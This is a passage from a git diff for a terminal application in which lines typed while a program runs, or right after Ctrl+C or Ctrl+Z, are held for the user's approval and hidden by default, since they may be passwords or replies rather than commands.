src/session/CommandQueue.ts | 17 +- src/session/InProcessSessionClient.ts | 1 + src/session/QueueDispatcher.ts | 37 +++ src/session/SessionProtocol.ts | 13 +- src/session/SessionService.ts | 2 + src/session/SocketSessionClient.ts | 15 +- src/shell/ShellProtocol.ts | 11 + src/shell/ShellSession.ts | 49 +++- src/shell/adapters/BashAdapter.ts | 10 +- src/shell/adapters/FishAdapter.ts | 12 +- src/shell/adapters/ShellAdapter.ts | 16 ++ src/shell/adapters/ZshAdapter.ts | 12 +- tests/commandQueueLive.test.ts | 39 +-- tests/executionTimelineLive.test.ts | 3 +- tests/inputAwarenessLive.test.ts | 3 +- tests/inputOwnershipLive.test.ts | 30 ++- tests/inputOwnershipLook.test.ts | 16 +- tests/inputOwnershipSecrets.test.ts | 27 +- tests/inputOwnershipSecretsLive.test.ts | 31 ++- tests/inputQuarantine.test.ts | 291 ++++++++++++++++++++++ tests/outputSelectionLive.test.ts | 2 +- tests/postV020Folding.test.ts | 3 +- tests/queueConditionOwnershipLive.test.ts | 8 +- tests/queueConditionsLive.test.ts | 4 +- tests/queuePreviewLive.test.ts | 9 +- tests/queueQuarantine.test.ts | 63 +++++ tests/queueSummaryLive.test.ts | 4 +- tests/sessionService.test.ts | 7 +- tests/typingAfterRead.test.ts | 27 +- tests/unreadInputLive.test.ts | 85 +++++++ 31 files changed, 899 insertions(+), 139 deletions(-) create mode 100644 tests/inputQuarantine.test.ts create mode 100644 tests/queueQuarantine.test.ts create mode 100644 tests/unreadInputLive.test.ts diff --git a/src/app/TerminalApp.ts b/src/app/TerminalApp.ts index ed68b94f..c23d906c 100644 --- a/src/app/TerminalApp.ts +++ b/src/app/TerminalApp.ts @@ -886,7 +886,9 @@ export class TerminalApp { * for the shell's prompt (type-ahead, as in any terminal), not a queue entry held behind the pause that stop * causes. Only for STOP_TYPE_AHEAD_MS: a program that survives the signal (a REPL, a remote shell) gets the * ordinary routing again, so later typing is never sent into it unasked. */ - stoppedAt?: number}; + stoppedAt?: number; + /** A question was reported after Ctrl+C or Ctrl+Z: the program survived the stop and asked (#426). */ + askedAfterStop?: boolean}; private hoveredLineIndex?: number; /** NMSh-owned transcript selection (plain drag); presentation only. */ private selection?: TranscriptSelection; @@ -930,6 +932,19 @@ export class TerminalApp { * before the prompt appeared. It is kept off the composer while the question is open and held at the prompt after. */ private stashedDraft?: {startId: number; text: string; program: string}; + /** + * Lines entered right after Ctrl+C or Ctrl+Z, for the prompt the stop brings back (#426, #436). Held, never written + * to the terminal, until the outcome is verified: the prompt (they run there, unless the program asked meanwhile), + * a question asked after the stop (they are its reply), or the end of the stop window with the program still running + * (they are held for approval like any line typed while it runs). + */ + private stopAhead?: {startId: number; lines: string[]; program: string; timer: NodeJS.Timeout}; + /** Set while held keys are replayed after their command ended: an Enter among them was pressed while it ran. */ + private replayTypedWhile?: string; + /** Held lines (typedWhile) the person chose to see, by queue entry id; everything else shows where it came from. */ + private readonly revealedQueue = new Set(); + /** Held lines this window added and has not yet seen in the owner's state (so others are the owner's, #426). */ + private ownHeldAdds = 0; private replayingHeld = false; /** * The queue review a first empty Enter armed at idle (resume a paused queue, or approve the entry that asks first). @@ -2008,7 +2023,7 @@ export class TerminalApp { if (action?.kind === 'close') { this.queuePanel = undefined; this.returnFromPanel(); } else if (action?.kind === 'change') this.session.queue(action.change); else if (action?.kind === 'edit') { this.queuePanel = undefined; this.returnFromPanel(); this.beginQueueEdit(action.id); } - else if (action?.kind === 'saveRecipe') { this.queuePanel = undefined; this.openPins({naming: this.queueState.entries.map(entry => entry.text)}); } + else if (action?.kind === 'saveRecipe') { this.queuePanel = undefined; this.openPins({naming: this.shownQueue().entries.filter(entry => !entry.typedWhile || this.revealedQueue.has(entry.id)).map(entry => entry.text)}); } this.render(); return; } @@ -2415,6 +2430,7 @@ export class TerminalApp { this.render(); return; } + if (key.kind === 'escape' && this.stopAhead && !this.editor.text) { this.settleStopAhead('cancel'); return; } if (key.kind === 'escape' && this.queueCompose) { this.queueCompose = false; this.editor.clear(); @@ -4514,6 +4530,8 @@ export class TerminalApp { } // Keys still held for this command's look are settled now that it is over (#426). this.ownershipLook?.settle('route'); + if (this.stopAhead?.startId === command.startId) this.settleStopAhead('prompt', Boolean(command.askedAfterStop)); + else this.settleStopAhead('drop'); // A draft typed before this command asked for hidden input may be the password: held, never back in the composer. if (this.stashedDraft?.startId === command.startId) { const stashed = this.stashedDraft; @@ -5342,7 +5360,7 @@ export class TerminalApp { if (this.batchReview) return framePanel(renderBatchReview(this.batchReview, columns, this.dimensions().rows - 4), columns); if (this.pasteReview) return framePanel(renderPasteReview(this.pasteReview, columns, this.dimensions().rows - 4), columns); if (this.queueHistoryPanel) return framePanel(renderQueueHistoryPanel(this.queueHistoryPanel, this.queueState, columns, this.dimensions().rows - 4), columns); - if (this.queuePanel) return framePanel(renderQueuePanel(this.queuePanel, this.queueState, this.running?.command, columns, this.dimensions().rows - 4, this.queueConditionsAvailable()), columns); + if (this.queuePanel) return framePanel(renderQueuePanel(this.queuePanel, this.shownQueue(), this.running?.command, columns, this.dimensions().rows - 4, this.queueConditionsAvailable()), columns); if (this.watchPanel) return framePanel(renderWatchPanel(this.watchPanel, this.watches.active(), columns, Date.now(), this.dimensions().rows - 4), columns); if (this.doctorPanel) return framePanel(renderDoctorPanel(this.doctorPanel, columns, Date.now(), !this.decorativeMotionAllowed()), columns); if (this.cursorPanel) return framePanel(this.cursorPanelRows(this.cursorPanel, columns, this.cursorEnv(this.cursorPanel.draft, this.promptConfiguration)), columns); @@ -10734,7 +10752,7 @@ export class TerminalApp { if (this.running && (this.inputState?.request || this.passthrough)) return undefined; const review = this.queueReview?.kind; const now = this.activityAnimationNow || Date.now(); - return budget >= 2 ? queueBlock(this.queueState, columns, budget, {now, animate: this.decorativeMotionAllowed() && colorLevel() !== 'none' && colorLevel() !== 'ansi16' && getCurrentGlyphMode() !== 'safe', treatment: this.promptConfiguration.presentation, + return budget >= 2 ? queueBlock(this.shownQueue(), columns, budget, {now, animate: this.decorativeMotionAllowed() && colorLevel() !== 'none' && colorLevel() !== 'ansi16' && getCurrentGlyphMode() !== 'safe', treatment: this.promptConfiguration.presentation, liveTimeline: this.promptConfiguration.queue.liveTimeline, recentResults: this.promptConfiguration.queue.recentResults, upcoming: this.promptConfiguration.queue.upcoming, row: (key, index) => this.queueVisibleRows.set(key, index), animationElapsed: this.running ? presentationAnimationElapsed(now - this.running.startedAt) : 0, @@ -10803,6 +10821,9 @@ export class TerminalApp { } else if (value === 'e') { this.queueReview = undefined; this.beginQueueEdit(review.id); + } else if (key.kind === 'complete' && review.kind === 'approve') { + // The person asks to see a held line before deciding; nothing else ever shows it. + this.revealedQueue.add(review.id); } this.render(); } @@ -11676,7 +11697,7 @@ export class TerminalApp { const summary = this.running && !ownsRunning ? this.currentActivity() : phraseFits ? combined : factual; const timing = elapsed === undefined ? '' : `${formatDuration(elapsed)} current command${waitedDetail(this.inputState, Date.now(), elapsed)}`; const expressive = phrase && !phraseFits ? `${phrase}${timing ? ` · ${SECONDARY}${timing}${RESET}` : ''}` : `${SECONDARY}${timing}${RESET}`; - const hint = this.queueReview ? queueRow(this.queueState, columns, {review: this.queueReview.kind}) : this.queueAffordance() ? `${SUBTLE}${columns < 45 ? 'Enter reviews · /q' : 'Enter to review · Esc to review clear · /queue'}${RESET}` : expressive; + const hint = this.queueReview ? queueRow(this.shownQueue(), columns, {review: this.queueReview.kind}) : this.queueAffordance() ? `${SUBTLE}${columns < 45 ? 'Enter reviews · /q' : 'Enter to review · Esc to review clear · /queue'}${RESET}` : expressive; const concise = displayWidth(hint ?? '') <= columns ? hint : phrase && elapsed !== undefined ? `${phrase} · ${SECONDARY}${formatDuration(elapsed)}${RESET}` : hint; return [truncateAnsi(summary, columns), concise ? truncateAnsi(concise, columns) : '']; } @@ -11713,6 +11734,9 @@ export class TerminalApp { private composerHint(): {text: string; waiting: boolean} | undefined { // Typing held when a command ended right after its hidden input: whatever runs now, only the person settles it. if (this.ownershipLook?.atPrompt && !this.passthrough) return {text: heldAtPromptActions(this.ownershipLook.program), waiting: true}; + if (this.stopAhead && this.running?.startId === this.stopAhead.startId && !this.editor.text) { + return {text: `Runs at the prompt once ${this.stopAhead.program} stops · Esc takes it back`, waiting: false}; + } if (!this.running || this.passthrough || this.queueEdit || this.justStopped()) return undefined; // The program's question keeps the activity rows, so the composer itself says how compose mode ends. if (this.queueCompose) return {text: 'Queue a command · Enter adds it · Esc returns to the program', waiting: false}; @@ -11724,7 +11748,49 @@ export class TerminalApp { // as a line. if (this.answersByDefault()) return {text: inputComposerHint(request ?? {since: 0, confidence: 'likely', mode: 'line'}, program, this.queueAvailable()), waiting: true}; if (!this.queueAvailable()) return undefined; - return {text: `Enter queues the next command · Ctrl+S sends to ${program}`, waiting: false}; + return {text: `Enter holds it for approval · Ctrl+Q runs it after · Ctrl+S sends to ${program}`, waiting: false}; + } + + /** + * A line entered right after Ctrl+C or Ctrl+Z (see stopAhead). It is never written while the stopped command still + * owns the terminal: a survivor that never asks would leave it in the terminal, and the shell would then run it. + */ + private holdForStop(text: string): void { + const running = this.running!; + this.editor.clear(); + this.runningDraft = undefined; + if (this.stopAhead?.startId === running.startId) { this.stopAhead.lines.push(text); this.render(); return; } + const program = commandWords(running.command)[0] ?? 'the command'; + const left = Math.max(0, (running.stoppedAt ?? Date.now()) + STOP_TYPE_AHEAD_MS - Date.now()); + const timer = setTimeout(() => this.settleStopAhead('window'), left); + timer.unref?.(); + this.stopAhead = {startId: running.startId, lines: [text], program, timer}; + this.render(); + } + + /** + * Where the lines held after a stop go, once that is known: `prompt` (the stopped command ended), `asked` (it survived + * and asks now: its reply), `window` (the stop window ended), `cancel` (Esc: back to the composer), `drop`. + */ + private settleStopAhead(how: 'prompt' | 'asked' | 'window' | 'cancel' | 'drop', asked = false): void { + const held = this.stopAhead; + if (!held) return; + if (how === 'window' && this.running?.startId === held.startId && this.inputState?.request) how = 'asked'; + if (how === 'window' && this.running?.startId !== held.startId) return; + clearTimeout(held.timer); + this.stopAhead = undefined; + if (how === 'drop') return; + if (how === 'cancel') { this.editor.replaceText(held.lines.join('\n')); this.render(); return; } + if (how === 'asked') { this.session.write(held.lines.map(line => `${line}\r`).join('')); this.answerSent(); this.render(); return; } + // The program survived the stop and is still running, or asked something before it ended: no line is known to + // be for the prompt, so each waits for approval like any line typed while a command runs. + if (how === 'window' || asked) { for (const line of held.lines) this.enqueue(line, held.program); return; } + // The verified prompt: the first line as if entered there, any others queued after it, in order. + const [first, ...rest] = held.lines; + if (this.editor.text || !first) { for (const line of held.lines) this.enqueue(line); return; } + this.editor.replaceText(first); + this.routeComposer('enter'); + for (const line of rest) this.enqueue(line); } /** Ctrl+C or Ctrl+Z was sent moments ago: typing is type-ahead for the prompt the stop brings back. */ @@ -11742,6 +11808,17 @@ export class TerminalApp { return Boolean(this.inputState?.request) || (this.commandLine.open && promptShaped(this.commandLine.line)); } + /** + * The queue as drawn (#426): a held line (typedWhile) appears as where it came from, never as its text, until the + * person asks to see it (Tab in its review, or editing it). Every queue surface draws this; actions use the real state. + */ + private shownQueue(state: QueueState = this.queueState): QueueState { + if (!state.entries.some(entry => entry.typedWhile && !this.revealedQueue.has(entry.id))) return state; + const reviewing = this.queueReview?.kind === 'approve' ? this.queueReview.id : undefined; + return {...state, entries: state.entries.map(entry => entry.typedWhile && !this.revealedQueue.has(entry.id) + ? {...entry, text: `(typed while ${entry.typedWhile} ran${entry.id === reviewing ? ' · Tab shows it' : ''})`} : entry)}; + } + /** Queueing works when the setting is on and whatever owns the shell runs a queue (an older service does not). */ /** The session's service understands per-entry conditions and approval (older ones would ignore them, so they are never offered). */ private queueConditionsAvailable(): boolean { @@ -11764,13 +11841,13 @@ export class TerminalApp { const cause = pause.reason === 'failed' ? `exit ${pause.exitCode} · ${pauseReason(pause)}` : pause.reason === 'user' ? 'Paused manually' : pauseReason(pause); return truncateAnsi(`${STOPPED}${cause}${RESET}${SUBTLE} · ${this.queueState.entries.length} waiting${RESET}`, columns); } - const next = this.queueState.entries[0]!; + const next = this.shownQueue().entries[0]!; const tail = ` · ${next.condition === 'approve' && !next.approved ? 'Approval' : 'Next'} · ${this.queueState.entries.length} pending`; return truncateAnsi(`${SECONDARY}${GLYPHS.selection} ${queuePreview(next.text, Math.max(1, columns - displayWidth(tail) - 2))}${SUBTLE}${tail}${RESET}`, columns); } if (this.queueEdit) return truncateAnsi(`${SECONDARY}${queueGlyph()} Editing a queued command${RESET}${SUBTLE} · Enter saves · Esc cancels${RESET}`, columns); const affordance = this.queueAffordance(); - return queueRow(this.queueState, columns, {...(this.queueReview ? {review: this.queueReview.kind} : {}), ...(affordance ? {affordance} : {})}); + return queueRow(this.shownQueue(), columns, {...(this.queueReview ? {review: this.queueReview.kind} : {}), ...(affordance ? {affordance} : {})}); } private onQueueState(state: QueueState, news: QueueNews): void { @@ -11778,6 +11855,7 @@ export class TerminalApp { const previous = this.queueState; if (staleQueueSnapshot(previous, state)) return; this.queueState = state; + this.noteHeldLines(previous, state); const pause = this.pendingQueuePause; if (pause && (news.refused || pause.revision === undefined || (state.revision !== undefined && state.revision > pause.revision))) { this.pendingQueuePause = undefined; @@ -11856,12 +11934,36 @@ export class TerminalApp { } /** - * Add the composer's text to the queue. `typedWhileRunning`: a plain Enter while a command runs, with no question - * NMSh could see. Such a line may be a reply to a read that has not asked yet (#426); if that read gives up unseen - * and the command succeeds, the line would run as a command. One that does not start with a command this shell - * knows would only fail as a command (a password would reach the shell's history), so it waits for approval instead. + * Held lines (typedWhile) that appeared in the owner's queue (#426). Those this window did not add are typing a + * command never read, which the owner took back from the terminal when it ended: said once, without their text. With + * queueing off they would wait unseen, so they are removed instead. Reveals end with their entries. + */ + private noteHeldLines(previous: QueueState, state: QueueState): void { + for (const id of this.revealedQueue) if (!state.entries.some(entry => entry.id === id)) this.revealedQueue.delete(id); + const known = new Set(previous.entries.map(entry => entry.id)); + const fresh = state.entries.filter(entry => entry.typedWhile && !known.has(entry.id)); + const own = Math.min(this.ownHeldAdds, fresh.length); + this.ownHeldAdds -= own; + const owner = fresh.slice(own); + if (!owner.length) return; + const program = owner[0]!.typedWhile!; + if (!this.queueAvailable() && this.session.features.has('queue')) { + for (const entry of owner) this.session.queue({op: 'remove', id: entry.id}); + this.output.addFrontendInteraction(program, `${program} did not read some of your typing; it was discarded, not run.`, INFO); + return; + } + this.output.addFrontendInteraction(program, `${program} did not read some of your typing; it never runs by itself and waits for your approval (/queue).`, INFO); + } + + /** + * Add the composer's text to the queue. `typedWhile`: the program that ran when this line was entered with a plain + * Enter, with no question NMSh could see (#426). The line may be that program's reply to a read NMSh never saw (a timed + * read that gave up between looks, any program's read on macOS), and nothing about its text says otherwise: `yes`, a + * one-time code and `ls` are all valid replies. So it is quarantined: the owner holds it for the person's approval, + * it is shown by where it came from rather than by its text, and it is never offered again by Up. Ctrl+Q (no + * typedWhile) is the explicit way to queue a command to run after. */ - private enqueue(text: string, typedWhileRunning = false): void { + private enqueue(text: string, typedWhile?: string): void { if (!this.queueAvailable()) { this.output.addFrontendInteraction('/queue', this.session.features.has('queue') ? 'Queueing is off (Settings → Sessions → Queue commands).' : 'This session\'s service is older and has no command queue; restart NMSh\'s session service to use it.', INFO); @@ -11869,16 +11971,19 @@ export class TerminalApp { return; } this.syncQueuePolicy(); - const waits = typedWhileRunning && !this.startsWithCommand(text); - this.session.queue({op: 'add', text, ...(waits && this.queueConditionsAvailable() ? {condition: 'approve' as const} : {})}); - if (waits) { - const program = commandWords(this.running?.command ?? '')[0] ?? 'the command'; - if (!this.queueConditionsAvailable()) this.session.queue({op: 'pause'}); + if (typedWhile === undefined) { + this.session.queue({op: 'add', text}); + this.sessionSubmissions.push({text, slash: false}); + if (this.sessionSubmissions.length > SESSION_SUBMISSION_LIMIT) this.sessionSubmissions.shift(); + } else { + const conditions = this.queueConditionsAvailable(); + // A service without per-entry approval pauses the whole queue first, so nothing runs before the pause lands. + if (!conditions) this.session.queue({op: 'pause'}); + this.session.queue({op: 'add', text, ...(conditions ? {condition: 'approve' as const, typedWhile} : {})}); + if (conditions) this.ownHeldAdds += 1; // The note never repeats the text: it may be a password. - this.output.addFrontendInteraction(program, `The line queued while ${program} runs does not start with a command this shell knows, so it may be a reply for ${program}; it ${this.queueConditionsAvailable() ? 'waits for your approval' : 'pauses the queue'} (/queue) instead of running by itself.`, INFO); + this.output.addFrontendInteraction(typedWhile, `The line entered while ${typedWhile} runs may be its reply, so it never runs by itself: it ${conditions ? 'waits for your approval' : 'pauses the queue'} (/queue). Ctrl+Q queues a command to run after.`, INFO); } - this.sessionSubmissions.push({text, slash: false}); - if (this.sessionSubmissions.length > SESSION_SUBMISSION_LIMIT) this.sessionSubmissions.shift(); this.editor.clear(); this.composerHistory.reset(); this.runningDraft = undefined; @@ -11886,22 +11991,6 @@ export class TerminalApp { this.render(); } - /** - * Whether a queued line's first command word is one this shell knows: an alias, function, builtin or keyword, or an - * executable by path or on PATH. A word not classified yet is checked against the shell's builtins and PATH. Shell - * syntax with no command word (an assignment, a group) and a function definition are the person's shell input. - */ - private startsWithCommand(text: string): boolean { - const first = text.split('\n').find(line => line.trim()) ?? ''; - if (/^\s*(?:function\s+\S|[A-Za-z_][\w.:-]*\s*\(\s*\))/u.test(first)) return true; - const token = this.highlighter.tokenize(graphemes(first), this.semanticService.cache) - .find(item => ['Command', 'KnownCommand', 'Builtin', 'Alias', 'Function', 'UnknownCommand'].includes(item.type)); - if (!token) return true; - if (token.type === 'UnknownCommand') return false; - if (token.type !== 'Command') return true; - return token.text.includes('/') || shellAdapter(this.shellId).builtins.has(token.text) || Boolean(resolveCommand(token.text)); - } - /** * Enter, Ctrl+Q (queue) and Ctrl+S (send to the running program). Input ownership comes first: a program that is * waiting for input (InputWatch's evidence) gets Enter, and only an explicit Ctrl+Q queues then. Otherwise, while @@ -11935,6 +12024,8 @@ export class TerminalApp { } // A rapid second Enter after confirming a queue review is not an answer for the command it just started. if (intent === 'enter' && !text.trim() && Date.now() - this.queueConfirmedAt < QUEUE_CONFIRM_SETTLE_MS) return; + // Right after Ctrl+C or Ctrl+Z, a line is for the prompt the stop brings back; it waits for that to be verified. + if (intent === 'enter' && text.trim() && this.justStopped() && !this.answersByDefault() && !this.passthrough) { this.holdForStop(text); return; } const toProgram = intent === 'send' || (intent === 'enter' && (!this.queueAvailable() || !text.trim() || this.answersByDefault() || this.passthrough || this.justStopped())); if (toProgram) { this.editor.clear(); @@ -11945,10 +12036,12 @@ export class TerminalApp { } if (!text.trim()) return; if (this.reviewMixedBlock(text)) return; - this.enqueue(text, intent === 'enter'); + this.enqueue(text, intent === 'enter' ? commandWords(this.running.command)[0] ?? 'the command' : undefined); return; } if (intent === 'send') return; + // Held keys replayed after their command ended: this Enter was pressed while it ran, so it is no command (#426). + if (this.replayTypedWhile !== undefined && intent === 'enter' && text.trim() && !slash) { this.enqueue(text, this.replayTypedWhile); return; } if (this.reviewMixedBlock(text)) return; if (this.pendingQueuePause) { this.render(); return; } // An empty Enter where the queue offers something arms its review; nothing runs yet. @@ -11958,7 +12051,11 @@ export class TerminalApp { this.render(); return; } - if (text.trim() && !slash && this.queueAvailable() && (intent === 'queue' || (this.queueState.entries.length > 0 && !this.queueState.paused))) { + // A held line waiting for approval at the head runs nothing by itself, so it never holds the prompt: a command you + // submit there runs now (#426). Anything behind the held line waits for it either way. + const head = this.queueState.entries[0]; + const held = Boolean(head && head.condition === 'approve' && !head.approved); + if (text.trim() && !slash && this.queueAvailable() && (intent === 'queue' || (this.queueState.entries.length > 0 && !this.queueState.paused && !held))) { this.enqueue(text); return; } @@ -12155,6 +12252,10 @@ export class TerminalApp { state = current; } this.inputState = state; + if (state.request && stoppedAt !== undefined && state.request.since >= stoppedAt) { + this.running.askedAfterStop = true; + if (this.stopAhead?.startId === this.running.startId) this.settleStopAhead('asked'); + } const draft = this.runningDraft; if (state.terminalOwner) { // A native reader took the terminal: what was typed for this command after it started is its input, as a @@ -12351,7 +12452,9 @@ export class TerminalApp { return; } this.replayingHeld = true; - try { for (const item of keys) this.handleKey(item); } finally { this.replayingHeld = false; } + // Keys typed while the command ran: an Enter among them never runs a command at the prompt (#426). + if (ended) this.replayTypedWhile = program; + try { for (const item of keys) this.handleKey(item); } finally { this.replayingHeld = false; this.replayTypedWhile = undefined; } this.render(); }; // No usable evidence yet: keep the typing held and hidden, and say so (never route it on a guess). @@ -12373,8 +12476,8 @@ export class TerminalApp { sawHidden: false, sawAnsweredHidden: false, atPrompt: false, program, settle}; this.ownershipLook = hold; // A look that saw nothing usable (a probe failed or timed out) gets one more look before the typing is left held: - // gathering evidence once more, not waiting longer. An older service does not say what it saw: its answer is - // routed as it always was (documented limit). + // gathering evidence once more, not waiting longer. An older service never says what it saw, so its typing is left + // held the same way: fail closed, never routed on no evidence (#426). let relooked = false; const deadline = Date.now() + OWNERSHIP_LOOK_MS; const look = () => void this.lookWhenStarted(running.startId, deadline).then(answered, () => answered('unknown')); @@ -12387,8 +12490,8 @@ export class TerminalApp { // Nothing runs: the command ended (its done marker can come well before its prompt), so the rules for typing // held by a command that ended apply now, not those for one still running. if (result === 'idle') hold.ended = true; - const blind = result === 'unknown' || (result === 'hidden' && !this.inputState?.request) - || (result === undefined && this.session.features.has('input-look-result')); + // An older service never says what it saw: that is no evidence either, so its typing stays held (fail closed). + const blind = result === 'unknown' || (result === 'hidden' && !this.inputState?.request) || result === undefined; if (!blind) settle('route'); else if (!relooked && this.running?.startId === running.startId) { relooked = true; look(); } else doubt(); diff --git a/src/session/CommandQueue.ts b/src/session/CommandQueue.ts index 09989def..e64e533a 100644 --- a/src/session/CommandQueue.ts +++ b/src/session/CommandQueue.ts @@ -25,6 +25,12 @@ export interface QueueEntry { condition?: QueueCondition; /** `approve` entries only: approved by the person for this text; editing the entry withdraws it. */ approved?: boolean; + /** + * The program that was running when this line was entered with a plain Enter, or that never read it (#426). NMSh had + * no evidence whether the line was that program's reply (a password, a one-time code, `yes`) or the next command, + * so it is quarantined: it always waits for approval, and its text is shown only when the person asks. + */ + typedWhile?: string; } /** Why the queue does not run its next entry by itself. */ @@ -54,7 +60,8 @@ export interface QueueState { export type QueueOp = ( | {op: 'failure-policy'; policy: QueueFailurePolicy} - | {op: 'add'; text: string; condition?: QueueCondition} + /** typedWhile: a line typed while that program ran; the owner makes it wait for approval, whatever else is asked. */ + | {op: 'add'; text: string; condition?: QueueCondition; typedWhile?: string} /** Set (or with no condition, clear) when an entry may run. Withdraws any approval. */ | {op: 'condition'; id: number; condition?: QueueCondition} /** Approve the entry that is waiting for approval, exactly as it stands. */ @@ -111,7 +118,10 @@ export class CommandQueue extends EventEmitter<{change: [QueueState]}> { if (change.text.length > ENTRY_LIMIT) return 'That command is too long to queue.'; if (this.entries.length >= QUEUE_LIMIT) return `The queue holds at most ${QUEUE_LIMIT} commands.`; if (this.bytes() + Buffer.byteLength(change.text) > QUEUE_BYTES_LIMIT) return 'The queue is full; run or remove some commands first.'; - this.entries.push({id: this.nextId++, text: change.text, addedAt: this.now(), ...(change.condition ? {condition: change.condition} : {})}); + // The quarantine is the owner's rule, not a frontend's choice: a line typed while a program ran never runs unapproved. + const condition = change.typedWhile ? 'approve' : change.condition; + this.entries.push({id: this.nextId++, text: change.text, addedAt: this.now(), ...(condition ? {condition} : {}), + ...(change.typedWhile ? {typedWhile: change.typedWhile} : {})}); break; } case 'edit': { @@ -123,12 +133,15 @@ export class CommandQueue extends EventEmitter<{change: [QueueState]}> { // Approval is for the exact text that was approved. if (entry.text !== change.text) delete entry.approved; entry.text = change.text; + // The person has seen and edited it: it is their line now, shown as text, and still waits for their approval. + delete entry.typedWhile; if (this.editing === change.id) this.editing = undefined; break; } case 'condition': { const entry = this.entries.find(item => item.id === change.id); if (!entry) return 'That command already ran or was removed.'; + if (entry.typedWhile && change.condition !== 'approve') return 'A line typed while a program ran only runs once you approve it.'; if (change.condition) entry.condition = change.condition; else delete entry.condition; delete entry.approved; break; diff --git a/src/session/InProcessSessionClient.ts b/src/session/InProcessSessionClient.ts index 7aba6785..20373afd 100644 --- a/src/session/InProcessSessionClient.ts +++ b/src/session/InProcessSessionClient.ts @@ -61,6 +61,7 @@ export class InProcessSessionClient extends EventEmitter im shell.on('startup', tail => this.emit('startup', tail)); shell.on('inputRejected', (data, submission) => this.emit('inputRejected', data, submission)); shell.on('inputState', state => this.emit('inputState', state)); + shell.on('unread', (text, program) => { this.dispatcher.holdUnread(text, program); }); shell.on('exit', event => { this.dispatcher.onShellExit(); void this.tasks.shutdown(); this.emit('exit', event); }); } diff --git a/src/session/QueueDispatcher.ts b/src/session/QueueDispatcher.ts index 32e6e02a..5ea591f2 100644 --- a/src/session/QueueDispatcher.ts +++ b/src/session/QueueDispatcher.ts @@ -6,6 +6,30 @@ import {EventEmitter} from 'node:events'; import type {ShellId} from '../shell/adapters/ShellAdapter.js'; import {CommandQueue, type QueueEntry, type QueueOp, type QueueState} from './CommandQueue.js'; +/** At most this many held lines from one command's unread typing; the rest is dropped, never run. */ +export const UNREAD_LINE_LIMIT = 10; + +/** + * Lines from typing a command never read (#426), as the person would have seen them on a terminal's line: Backspace, + * Ctrl+U and Ctrl+W applied, terminal sequences (arrow keys, a terminal's replies) and other control bytes dropped. + * A trailing line without Enter is a line too. Empty lines hold nothing. + */ +export function unreadLines(text: string): string[] { + const lines: string[] = []; + let line = ''; + const flush = () => { if (line.trim()) lines.push(line); line = ''; }; + const chars = Array.from(text.replace(/\u001b(?:\[[0-?]*[ -/]*[@-~]|\][^\u0007\u001b]*(?:\u0007|\u001b\\)?|[PX^_][^\u001b]*(?:\u001b\\)?|O.|.)?/gu, '')); + for (const char of chars) { + if (char === '\r' || char === '\n') flush(); + else if (char === '\u007f' || char === '\b') line = Array.from(line).slice(0, -1).join(''); + else if (char === '\u0015') line = ''; + else if (char === '\u0017') line = line.replace(/\S+\s*$/u, ''); + else if (char === '\t' || !/[\u0000-\u001f\u007f-\u009f]/u.test(char)) line += char; + } + flush(); + return lines.slice(0, UNREAD_LINE_LIMIT); +} + /** What the dispatcher needs from a shell session (ShellSession implements it). */ export interface QueueShell { submit(command: string): void; @@ -150,6 +174,19 @@ export class QueueDispatcher extends EventEmitter<{state: [QueueState, QueueEven this.dispatch(); } + /** + * Typing the command `program` never read, which the shell took out of its terminal when the command finished + * (#426): each line is held for the person's approval, never run by itself. Returns how many lines are held. + */ + holdUnread(text: string, program: string): number { + let held = 0; + for (const line of unreadLines(text)) { + this.request({op: 'add', text: line, typedWhile: program.slice(0, 64) || 'the command'}); + held += 1; + } + return held; + } + /** The session now runs a different shell: nothing queued for the old one runs until the person resumes. */ onShellSwitched(shell: QueueShell): void { this.shell = shell; diff --git a/src/session/SessionProtocol.ts b/src/session/SessionProtocol.ts index 8a583543..7eec685e 100644 --- a/src/session/SessionProtocol.ts +++ b/src/session/SessionProtocol.ts @@ -357,7 +357,9 @@ function queueOpFieldsFrom(value: Record): QueueOp | undefined case 'add': { if (text_ === undefined) return undefined; const condition = queueConditionFrom(value.condition); - return value.condition !== undefined && !condition ? undefined : {op: 'add', text: text_, ...(condition ? {condition} : {})}; + const typedWhile = typedWhileFrom(value.typedWhile); + if ((value.condition !== undefined && !condition) || (value.typedWhile !== undefined && !typedWhile)) return undefined; + return {op: 'add', text: text_, ...(condition ? {condition} : {}), ...(typedWhile ? {typedWhile} : {})}; } case 'condition': { const condition = queueConditionFrom(value.condition); @@ -384,6 +386,10 @@ function queueOpFieldsFrom(value: Record): QueueOp | undefined const queueConditionFrom = (value: unknown): QueueCondition | undefined => value === 'always' || value === 'approve' ? value : undefined; +/** A program name for a held line: printable, bounded; anything with control characters is refused, never cleaned. */ +const typedWhileFrom = (value: unknown): string | undefined => + typeof value === 'string' && value.trim() && !/[\u0000-\u001f\u007f-\u009f]/u.test(value) ? value.slice(0, 64) : undefined; + const PAUSE_REASONS = ['user', 'failed', 'interrupted', 'shell-switched', 'restored'] as const; function queueEntryFrom(raw: unknown): QueueEntry | undefined { @@ -391,7 +397,10 @@ function queueEntryFrom(raw: unknown): QueueEntry | undefined { const item = raw as Record; if (!Number.isSafeInteger(item.id) || typeof item.text !== 'string' || item.text.length > ENTRY_LIMIT || !Number.isSafeInteger(item.addedAt)) return undefined; const condition = queueConditionFrom(item.condition); - return {id: item.id as number, text: item.text, addedAt: item.addedAt as number, ...(condition ? {condition} : {}), ...(condition === 'approve' && item.approved === true ? {approved: true} : {})}; + const typedWhile = typedWhileFrom(item.typedWhile); + if (item.typedWhile !== undefined && !typedWhile) return undefined; + return {id: item.id as number, text: item.text, addedAt: item.addedAt as number, ...(condition ? {condition} : {}), ...(condition === 'approve' && item.approved === true ? {approved: true} : {}), + ...(typedWhile ? {typedWhile} : {})}; } /** The queue a queue-state message describes; anything malformed is dropped, never guessed. */ diff --git a/src/session/SessionService.ts b/src/session/SessionService.ts index 93107113..0c269865 100644 --- a/src/session/SessionService.ts +++ b/src/session/SessionService.ts @@ -496,6 +496,8 @@ export class SessionService { }); shell.on('startup', output => session.controller?.({type: 'startup', output})); shell.on('inputState', state => this.onInputState(session, state)); + // Typing the finished command never read is the owner's to hold for approval, attached window or not (#426). + shell.on('unread', (text, program) => { session.queue.holdUnread(text, program); }); shell.on('exec', (command, historyAllowed) => { const at = Date.now(); // The queue says whether this is the entry it just submitted: every window, live or later, learns it from here. diff --git a/src/session/SocketSessionClient.ts b/src/session/SocketSessionClient.ts index ee11c314..c9d144fb 100644 --- a/src/session/SocketSessionClient.ts +++ b/src/session/SocketSessionClient.ts @@ -145,15 +145,18 @@ export function serviceBuildNotice(serviceBuild: string | undefined, own: {versi } /** - 